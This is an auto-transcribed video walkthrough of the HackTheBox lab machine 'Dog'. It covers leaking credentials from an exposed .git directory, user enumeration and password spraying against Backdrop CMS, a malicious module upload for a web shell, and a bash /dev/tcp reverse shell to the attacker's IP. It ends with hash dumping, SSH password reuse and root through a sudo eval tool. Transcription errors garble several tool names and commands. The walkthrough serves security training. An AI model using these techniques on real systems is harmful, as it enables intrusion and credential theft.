text: What's going on YouTube? This is IPSC and we'll be doing dog from hack the box which is a nice and easy machine that is running backdrop CMS and has an open.get directory. If we pull the doggget directory we'll discover my SQL credentials but it doesn't give us anything right away because the username doesn't let us log in to Backdrop CMS.

title: HackTheBox - Dog


text: We'll have to find a way to enumerate valid users on this CMS so we can perform a password spray which gets a little bit tricky because some of the endpoints have brute force protection.

title: HackTheBox - Dog


text: But poking around we can find a way to enumerate users that is unprotected. So we can do that find valid users then perform a password spray login to backdrop and then we'll install a malicious plugin to get code execution and switch to another user through password reuse yet again. And then for root, we can run a tool called B that helps us manage backdrop via pseudo. The tool itself supports running PHP scripts. So we can easily switch to root using the built-in command of eval. So with that being said, let's just jump in. As always, we're going to start off with an end map. So - sc for default scripts, sv enumerate versions vv for double boost. This gives us things like the ttl or a output all formats put in the end map directory and call it dog.

title: HackTheBox - Dog


text: And then the IP address, which is 10101.58.

title: HackTheBox - Dog


text: This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22, and the banner tells us it's an Ubuntu server. We also have HTTP on port 80. Its banner tells us it's Apache also running on Ubuntu.

title: HackTheBox - Dog


text: And then it's also got a lot of the like end mapap scripts running, right? The interesting ones are robots.ext that gives us a lot of URLs we could potentially play with. Um, readme.md.

title: HackTheBox - Dog


text: Most likely this comes from GitHub. If we see this file, uh we can always go ahead and request that real quick because normally when you look at a readme, um it may have things like the version of software installed, right? In this case, it tells us it is running on backdrop, but I don't see anything related to the versions, but we could always go to the GitHub repo and try to find it there. Uh we do see the copyright is 2024. The year of recording this video is 2025. So, we know this is at least a little bit out of date, right? But let's see what other scripts we have. Uh the title, which is home dog, that's the Apache header. We also see a exposed.git repository. Now, a lot of boxes previously have had an exposed git, but Ed Map wasn't discovering it.

title: HackTheBox - Dog


text: So, what's different about this? Well, a lot of the previous ones had virtual host routing. So just accessing the IP address told you you had to go to a different host which until you add it to your host file so that DNS resolution works. Um you couldn't access it right.

title: HackTheBox - Dog


text: Um this one doesn't have any virtual host routing. So NAP is able to make queries against that web server for default files and.git is one of the ones MAPAP has. So um really nice to have NAPAP tell us a git repository was found. We should go ahead and download that. But before I do, I just want to take a look at the website. Uh, we know this is going to be backdrop CMS, which I think has been done in the Carpey DM hack the box machine before. Um, but yeah, let's just look at this. So, we have welcome a dog and it looks just like a um post. Now, or a CMS system like WordPress or something like that.

title: HackTheBox - Dog


text: Now, the things I normally look for is how to just list all users, right? Um, in WordPress, you'd click like on the username and then the URL would have like um slashwp- something question mark u= 1 or something and you could just like increment that ID u= 2 u= 3 and whatever and get all the users. Backdrop isn't giving us a way to do that. I did some light googling and asking AI um it doesn't seem like backdrop by default exposes that. There is a API plugin on Backdrop that could be installed which then you could potentially um do queries like that but right now we don't have a way to just enumerate username super easily. Uh if we go over into um home about kind of the same thing uh we have a potential email support at dog.htb http login, it's just a login panel, right? So, let's go ahead and um

title: HackTheBox - Dog


text: download the.get directory, right? Because if we do get, let's see what we get. We just have the git repository. So, I'm going to copy this. I'm going to make a directory called source. Um source, not srv. Let's get rid of srv. There we go. Um I'm going to run a tool called get dumper.

title: HackTheBox - Dog


text: If you don't have this, you can probably just do a pip x install get dumper. But we just give it the get directory and then where we want to save it to, which is source, and it's going to go ahead and fetch that.getit and then assemble the latest commit for us. So once this happens, we'll be able to look at what the um git database looks like, right? And it's possible that there may be credentials in this. There may be plugins that we could enumerate on backdrop so we could see what plugins installed and potentially find a vulnerability there because a lot of the CMS systems the exploits aren't within the CMS itself.

title: HackTheBox - Dog


text: It's within the plugins that get installed afterwards. Right? Those have a lot less um eyes on them to check. And this is taking much longer than I thought to download, but there we go.

title: HackTheBox - Dog


text: It's done. I thought I was going to have to pause the video there for a second.

title: HackTheBox - Dog


text: But looking in this directory, um if we look at it, let's see. Is there like a plugins directory? If I do GP plugin, uh, views, plugins, task plugins, layout, ck editor, plugins. Maybe I'm at a loss right now. So, I'm going to check one of the files first. It was just settings.php.

title: HackTheBox - Dog


text: So, let's go ahead and open that. And right off the bat, when I'm looking at it, we see database and then we have backdrop whatever, right? So, we have a password here. Um, I'm going to just grab my SQL on that file so I can easily copy it. And then, um, other things I would do is like a get log to see if there's any other commits. Maybe we could go back to a previous one and find passwords there. But we have a username and a password. So, what I want to do is go back over here and then go to login.

title: HackTheBox - Dog


text: We can do root and put in this password.

title: HackTheBox - Dog


text: and we get unrecognized username. If we do um let's find a valid user, right? So I'm going to go over to dog uh we have dog backdrop system. Normally the author is also a user. So if I do this we get incorrect password. So we have a way to enumerate valid usernames.

title: HackTheBox - Dog


text: We could also go to like the reset password. And if we do root here, we see not recognize username or email address.

title: HackTheBox - Dog


text: And if we put in this, we get unable to send email. So we have a easy way to enumerate users. Let's go ahead and send this over to Burpswuite. So I'm going to send it here. And I'm going to use the request password just because I think that's a better one to use since I don't have to worry about a second parameter. So, let's go ahead and send root here. What I want to do is see what the code looks like so we can easily see how much work it's going to be to edit this. Um, we just do a post to Q password.

title: HackTheBox - Dog


text: We get a whole page back. I was hoping it would just be like an API response.

title: HackTheBox - Dog


text: Uh, username root form build ID. Let's see. Error message.

title: HackTheBox - Dog


text: Um, maybe we could search for this.

title: HackTheBox - Dog


text: Right. There we go. I'm going to Let's send this uh copy to file. And it's not cat. This one's going to be dog. I'm going to call this like login request.

title: HackTheBox - Dog


text: And let's edit this. So, let's do cd dov login.request.

title: HackTheBox - Dog


text: And then name. I'm going to put uh fuzz here.

title: HackTheBox - Dog


text: And now we can do uh fuff- request login request. Uh we want to set request proto just be http and then I'm going to do dash h real quick. Um let's see word list. We'll use op seclist discovery.

title: HackTheBox - Dog


text: Um there should be a usernames, right?

title: HackTheBox - Dog


text: Maybe it's under discovery usernames.

title: HackTheBox - Dog


text: And let's see, I'm just going to do names and names.ext. Normally, I would use like the Zato net 10 million, but this word list is pretty big to do over HTTP and it could take a long time. This one is much shorter. So, um, always kind of play with the word list you want. And then what we want to do is find a string on a page. Let's see, is it like match like MR for regular expression? Let's see. That's output.

title: HackTheBox - Dog


text: Uh, filter reg x. There we go. So, we probably want to do match reg x. Uh, no, filter out. We'll do filter rag x and error message.

title: HackTheBox - Dog


text: And let's see if we get any hits. We're doing about 70 requests per second. And there's a total of 10,000 here. Um, so I'm going to pause the video and we will resume once it is complete. Actually, um, I realized I just made a mistake, right? Because, uh, we're filtering out for error message, but when we had a valid username, we still got an error.

title: HackTheBox - Dog


text: It was like cannot send mail or something like that. So, we have to really fine-tune our regular expression.

title: HackTheBox - Dog


text: Um, so instead of error message, maybe we should just do is not recognized as a username, right? So, if we copy this and then let's go back and replace the filter regax for this one and we get a bunch of hits. Um, that is odd. Let's turn our proxy off. Go over to the page and oh, this is rate limited. So, we have some type of rate limit at play.

title: HackTheBox - Dog


text: Too many password reset attempts from your IP address. Uh, please try again later. We could attempt the login, but I'm going to guess it's going to have the same behavior. Um, so let's test this out real quick. I'm going to intercept this. Let's just do root uh password attempt to log in.

title: HackTheBox - Dog


text: We'll send this to repeater. There's probably going to be a error message here, right? Um, no. Let's just turn that off. Unrecognized username. So, let's go back to repeater unrecognized username.

title: HackTheBox - Dog


text: There we go. This is what we want. So, I'm going to now copy where's to file.

title: HackTheBox - Dog


text: There it is. And I should move login.request to forgot password.request.

title: HackTheBox - Dog


text: Sorry for any confusion if that confused you earlier. But now I can just save login.request. And this one is a login. And I'm going to change the name to be fuzz.

title: HackTheBox - Dog


text: I'm going to run the fuff again, but this time we're just going to paste uh not error message. That's definitely not it. It was like invalid username, right? Let's just send this again. Uh unrecognized username.

title: HackTheBox - Dog


text: I hope it's not unrecognized username or password. Um, let's go ahead and find that valid user real quick.

title: HackTheBox - Dog


text: Or like, yeah, let's do that. Um, there's this.

title: HackTheBox - Dog


text: Let's now change this to be the username.

title: HackTheBox - Dog


text: Unrecognized username. Okay, we don't have a match. I was kind of concerned it would be like unrecognized username or password or something like that, but it's not. So, we can use this error message. We run this and we start getting a bunch of 403s. So, I'm going to guess we have a rate limit. Uh, we could just attempt to log in and see.

title: HackTheBox - Dog


text: Let's do root password. Uh, too many failed attempts for my IP address. So, we keep getting rate limited. And at that point, it's now time to see if there's any scripts to like scan backdrop things. So, I'm just going to do backdrop uh CMS scan GitHub uh fix that typo and let's search. Let's see. Anti-can black uh block bad crawlers.

title: HackTheBox - Dog


text: Let's see. Maybe I should add like scanner uh backdrop scan. Here's a program. I should probably zoom in to make this bigger for you. And it's by FSMATHack, who is also the creator of this box. But if we look at backdrop scan, we should be able to see what this looks like. Um, so we can scan, looks like we can enumerate versions, uh, list potential users, and then attempt login. And it's only one Python script, so I'm just going to look at it. Um, if we want to enumerate the version, it looks like we can get this file. So, I'm just going to see this because I want to see what it looks like. So, if we go here, um, I'm just going to do curl.

title: HackTheBox - Dog


text: There we go. So, that's okay. There we go. 1.27.1.

title: HackTheBox - Dog


text: So, we have a way to list the version a new user. So, it uses slash Q accounts and then the username.

title: HackTheBox - Dog


text: So this is going to be a get request as well. So let's just do change request method and we can just do Q accounts and then I'm going to do root. We get a 404. If we go back, what is the valid username?

title: HackTheBox - Dog


text: Uh let's just go to dog. Copy this.

title: HackTheBox - Dog


text: Paste 403. So this is what we want. We want a 403 forbidden. So let's go ahead and uh copy the file and this will be a nume user request.

title: HackTheBox - Dog


text: And I'm also kind of curious, can we specify by that? No. I was hoping we could do like user ID and would spit out what the account is, but it doesn't look like we can. So let's see. Let's go back to a fuff.

title: HackTheBox - Dog


text: And we will want to do two things.

title: HackTheBox - Dog


text: First, change the file to be user. What I call it user enume request, I think.

title: HackTheBox - Dog


text: Uh, let's just do a ls an user.

title: HackTheBox - Dog


text: There we go. And then we can do a MC for match code because a invalid one is 404.

title: HackTheBox - Dog


text: And then what was the valid one? We get a 403 forbidden onv valid. So we'll get a match code 403 and hopefully this works. Um it just immediately stopped. Where did we screw up? Oh uh yeah we have to edit the new user and then specify where we want to fuzz. So we'll do it after the accounts. There we go.

title: HackTheBox - Dog


text: And it's going to start enumerating this. And this is a good sign so far. We don't have a bunch of um like invalid hits right here. So, I'm going to pause the video and we'll resume once this um fuff either finds something or completes.

title: HackTheBox - Dog


text: Oh, as I was about to, we get one hit axle. So, let's go ahead and try this.

title: HackTheBox - Dog


text: So, let's go cat. Um, what is it? Source settings.

title: HackTheBox - Dog


text: Uh, let's grab password on it. There we go. Uh, nope. We want to grab my SQL.

title: HackTheBox - Dog


text: There we go. So, we want to try Axel as a username. So, let's go ahead and log in. Axel, paste this password.

title: HackTheBox - Dog


text: and incorrect password. But we know that was a valid account because it didn't say um unknown user, right? So, we're making progress. We just have to wait till we get a hit. So, now I'm going to pause the video and we'll resume um either the time next time a user comes up or when this thing finishes.

title: HackTheBox - Dog


text: Okay, it is now finished and we have a few accounts we can try. I'm going to attempt to log in with Tiffany. So, let's go back here. Let's change the username to Tiffany. Put in that same password and we get logged into the backdrop page. Now, um, from previous exploitation of Backdrop, I mentioned Carpey DM's machine. I know I can upload a malicious plugin. So, let's go ahead and see what that looks like, right? Uh, first I have to find out where the plugin is. Actually, Backdrop calls it modules. And we have to upload a module here. So, what I'm going to do is um let's just go to Google. I'm going to turn burpuite off uh disable. There we go. And then if we Google like GitHub backdrop um exploit, let's see, we could just use this. This is an authenticated remote command and it's a Python script that's going to

title: HackTheBox - Dog


text: create the module for us and then automatically do it. Now, I don't find a lot of value in this cuz I don't see exactly kind of how it works. So, what I did on the Karp DM machine is I looked for an older exploit and we see this CSRF torce on backdrop CMS and this one just gave us the module as um a reference file which made it a little bit easier for us to play with. Right?

title: HackTheBox - Dog


text: So, I could read the whole description.

title: HackTheBox - Dog


text: It would tell me this tart is what it uploads. And if we just download it and look at it, it'll be a bit um self-explanatory, right? So, uh actually I download the page. We go here and we can download reference.tar. This is what I want. There we go. So, I'm just going to untar it. So we do this and it just has the structure for what the backdrop module should look like.

title: HackTheBox - Dog


text: Right? So if we looked at shell.php um we see it's just uh system get command. Right?

title: HackTheBox - Dog


text: So let's go ahead and upload this tart archive. So we can go install module um let's see manual installation install.

title: HackTheBox - Dog


text: Let's do There we go. Upload. And what I want to do is http dog and then let's see reference.tar install.

title: HackTheBox - Dog


text: Okay, installation was um completed. And how we access this is we just go to um the backdrop and then I think it's modules the name of the plugin and then we can do shell.php because that's the file. Um was it module reference?

title: HackTheBox - Dog


text: That did not work. I wonder if the cleanup script blocked us. I'm going to try this again real quick. We may have to be fast on this. So I can do manual installation again. Upload browse reference.tar.

title: HackTheBox - Dog


text: Okay.

title: HackTheBox - Dog


text: Paste. There we go. So we can do cmd equals id. And we have it. Now we could just send this over to burpswuite to get the reverse shell, but I'm going to use curl um just because I've shown how to do it in burpswuite a hundred times. So what we want to do is tell uh curl to do a get request because the actual um module used get not um request or post and then we give it the URL. So we'll do this and then I'm going to do data and then URL encode and then we can do cmd is equal to bash- c- i dev tcp 1010 10148 90001 0 and one like that and that should be good. So let's just listen on 9001 run this and we get the shell. So, um I kind of like using curl every now and then instead of burpuite because I hate having to just manly URL encode things in the request. It is nice having curl just have this um parameter for us,

title: HackTheBox - Dog


text: right? So, let's do Python 3- C import pty pty spawn if I can spell spawn bin bash like that. There we go. Stdy raw minus echo for ground. Uh let's do export term is equal to xterm. So now we can clear the screen and let's see um normally the very first thing I like doing is um dumping all the hashes. So I'm going to do a mysql- root-p.

title: HackTheBox - Dog


text: Let's specify this password.

title: HackTheBox - Dog


text: Copy paste.

title: HackTheBox - Dog


text: Then what was that database name? um use backdrop and we can say describe uh it's probably users.

title: HackTheBox - Dog


text: There we go. So I could just do select let's do name pass from users and we get a list of hashes there. We could send this over to hashcat. Um but this isn't really going to help us too much because it is password reuse. I just kind of wanted to show this is something I would normally do. Um but one of the other important things always is looking at users on the box. So if we g pass WD and GP for everything that ends in sh um we have three things root jubert and john su whatever um or cu. So I'm going to do a o separate on a colon get every first entry. We have three things. So, let's do I'm just going to do it on a new terminal. V users.ext.

title: HackTheBox - Dog


text: Paste this. Um, let's get that password again.

title: HackTheBox - Dog


text: It was this backdrop one.

title: HackTheBox - Dog


text: Copy.

title: HackTheBox - Dog


text: I can't remember if there was an exclamation point at the end of this or not, but let's try it without. Um, 10 10 1158 users.ext P. put this in and this will just attempt to log in via SSH with um this password for all three users that have a shell. You could also upload a program called like surack to the box and then do it locally which is also a good idea because sometimes the user exists but they're denied SSH access, right? But in this case we can log in. So let's do John Cuack at 1010 11158.

title: HackTheBox - Dog


text: uh put in that password again and we get in with password reuse from the my SQL.

title: HackTheBox - Dog


text: Uh if we do a pseudo-l we can see we can run the program B. So let's see exactly what this is. So I'm going to do B-H and let's scroll up to the top and let's see it looks like a command line thing to manage backdrop, right? So global options root set the root directory of backdrop to use. If not set we'll try to find it automatically based upon the current directory. Um site base URL we can put it in debug mode. Um so yeah we can export the config. Uh we don't really need to do that because we already had my SQL access. Uh we could download the core of it. Not really that interesting. Um, we could delete the database, which um we definitely don't want to do because that may take the site down, right? Uh, let's see.

title: HackTheBox - Dog


text: Information, we can get logs, version, run, acron, let's see, download, permissions, state, themes, adding, deleting users. I'm kind of skipping through this because we already have admin on backdrop. So, we could do all this functionality anyways, right?

title: HackTheBox - Dog


text: we could just create a user through the um admin access we had here. So, it's not really that interesting right off the bat. Um we do have at the bottom a way to eval. So, we're going to be able to execute PHP code. So, let's try what this is. Um we'll do a pseudo bal and code is required. Um so if I just do dash code test we get the required bootstrap level for eval is not ready.

title: HackTheBox - Dog


text: Now remember at the very top of um the help it said something right I should probably enable debug mode as well but we had this d-root specify the root directory of backdrop to use. If not it'll be uh do it based upon the current directory. So, we should try that. I'm also going to do dash d for debug because I'm curious what that will show.

title: HackTheBox - Dog


text: Um, I guess it doesn't do anything. But we could also say d-root and then it's probably under ver dubdubdub html would be my guess. Um, one is not a valid directory.

title: HackTheBox - Dog


text: What?

title: HackTheBox - Dog


text: Um d-root var dubdubdub html do we do it before do I not do dash code okay so we definitely need it after eval root ver dubdubdub html So, what I'm going to do, let's not use that flag.

title: HackTheBox - Dog


text: I'm sure there's a way to use it, but let's see if this gets off. It looks like this works. So, use of undefined constant test. So, that's not valid PHP code. So, let's just do something PHP like um PHP info. That sounds like a PHP command to me. And we get the results.

title: HackTheBox - Dog


text: So all I'm going to do now is a system command and I'm going to do system and we'll say bash, right? So we're going to run the bash command through PHP and because we're pseudo this should run as root. So hit enter and there we go. Root at dog. So that's the box, right? Uh we can now catroot.ext and get it. Um, there is one thing I forgot to do because I was going so fast and that's way at the beginning of the box when we did the fuff to enumerate valid users.

title: HackTheBox - Dog


text: Um, we could have also went into the source directory where we pulled the source and I've did like a GP and let's just grab for an email on the box like dog.htb.

title: HackTheBox - Dog


text: Uh, we can see Tiffany at dog. So, that's another way to find out the user exists, right? But I like enumerating the valid username through fuff more than this. That's why I showed it first.

title: HackTheBox - Dog


text: But that's going to be the box. Hope you guys enjoyed it.

title: HackTheBox - Dog